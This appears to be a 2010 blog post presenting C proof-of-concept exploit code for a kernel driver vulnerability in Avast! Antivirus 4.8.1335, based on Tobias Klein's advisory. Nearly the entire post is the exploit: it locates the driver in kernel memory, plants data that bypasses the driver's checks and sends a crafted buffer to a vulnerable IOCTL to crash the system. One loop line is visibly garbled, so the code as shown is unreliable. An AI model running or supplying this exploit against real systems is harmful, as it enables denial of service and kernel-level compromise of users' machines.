Wednesday, February 24, 2010

Avast! Antivirus Kernel Vulnerability

On 02/22/2010, a driver vulnerability of Avast!Antivirus has been detected by Tobias Klein. So, I wrote a poc for bypassing some checks, result in BoSD and I tested successfully with Avast!Antivirus 4.8.1335:

HANDLE hFile;
LPVOID hMem, hTemp;
LPVOID _aavmker4_base = NULL;
DWORD dwReturn;
DWORD_PTR _FakeAdd, _dwTmp;
char szTemp[256] = {0};

//------------------------------------------
// Open Device
hFile = CreateFile( TEXT("\\\\.\\AavmKer4"),
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
0, NULL);
if(hFile){
// [STEP 1] ---------------------------------
// Get VA AmvmKer4.sys
{
PSYSTEM_MODULE_INFORMATION _sysinfo = NULL;
DWORD _nummodules = 0, _imodule=0;
char* _sysbuf = NULL, *_sysfind = NULL;
ULONG _syslen = 0;
NTSTATUS _ret;

_ret = ZwQuerySystemInformation( SystemModuleInformation,
NULL, 0,
&_syslen );
if(_ret == 0xC0000004){
_sysbuf = new char[_syslen];
_ret = ZwQuerySystemInformation( SystemModuleInformation,
_sysbuf,
_syslen,
&_syslen);
}
if(_ret != STATUS_SUCCESS){
printf("Error\n");
return ;
}

memcpy(&_nummodules, _sysbuf, 4);
if(_nummodules<=0) return; _sysfind = _sysbuf+4; for (_imodule=0; _imodule<_nummodules; _sysinfo =" (PSYSTEM_MODULE_INFORMATION)_sysfind;">ImageName,
"\\SystemRoot\\System32\\Drivers\\Aavmker4.SYS")==0)
{
_aavmker4_base = _sysinfo->Base;
printf("aavmker4: 0x%x\n", (DWORD)_aavmker4_base);
break;
}

_sysfind += sizeof(SYSTEM_MODULE_INFORMATION);
}

if(_sysbuf) delete _sysbuf; _sysbuf = NULL;
}

// [STEP 2] ---------------------------------
// Tobias Klein: Use one of the IOCTLs supported by aavmker4.sys to temporarily
// store arbitrary data at a known kernel space address (the IOCTL
// 0xb2d6001c). This data has to start with the two patterns that are
// checked at [12] and [13].

// Store arbitrary data at a known kernel space address (the IOCTL 0xb2d6001c).
hTemp = VirtualAlloc(NULL, 0x418, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Bypass check
_dwTmp = 0xD0DEAD07;
memcpy((LPVOID)((DWORD_PTR)hTemp), &_dwTmp, 4);
_dwTmp = 0x10BAD0BA;
memcpy((LPVOID)((DWORD_PTR)hTemp+4), &_dwTmp, 4);
_dwTmp = (DWORD_PTR)_aavmker4_base + 0xe69; // BoSD
memcpy((LPVOID)((DWORD_PTR)hTemp+0x18), &_dwTmp, 4);

// IOCLT 0xb2d6001c
DeviceIoControl(hFile, 0xB2D6001C, hTemp, 0x418, hTemp, 0x418, &dwReturn, NULL);

// [STEP 3] ---------------------------------
// Tobias Klein: Send a request to the vulnerable IOCTL. Store a pointer at offset
// 0x870 of the IOCTL data that points to the kernel space address

// Buffer Over and Shellcode
hMem = VirtualAlloc(NULL, 0x878, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// User Defined Kernel Address
_FakeAdd = 0x41424344;
memcpy((LPVOID)((DWORD_PTR)hMem), &_FakeAdd, 4); // ESI Check
_FakeAdd = (DWORD_PTR)_aavmker4_base + 0x2EE0;
memcpy((LPVOID)((DWORD_PTR)hMem+0x870), &_FakeAdd, 4); // ESI Check

// Exploit by IOCTL 0xb2d6001c
DeviceIoControl(hFile, 0xB2D60030, hMem, 0x878, szTemp, sizeof szTemp, &dwReturn, NULL);

CloseHandle(hFile);
}


Reference:
[1] http://trapkit.de/advisories/TKADV2010-003.txt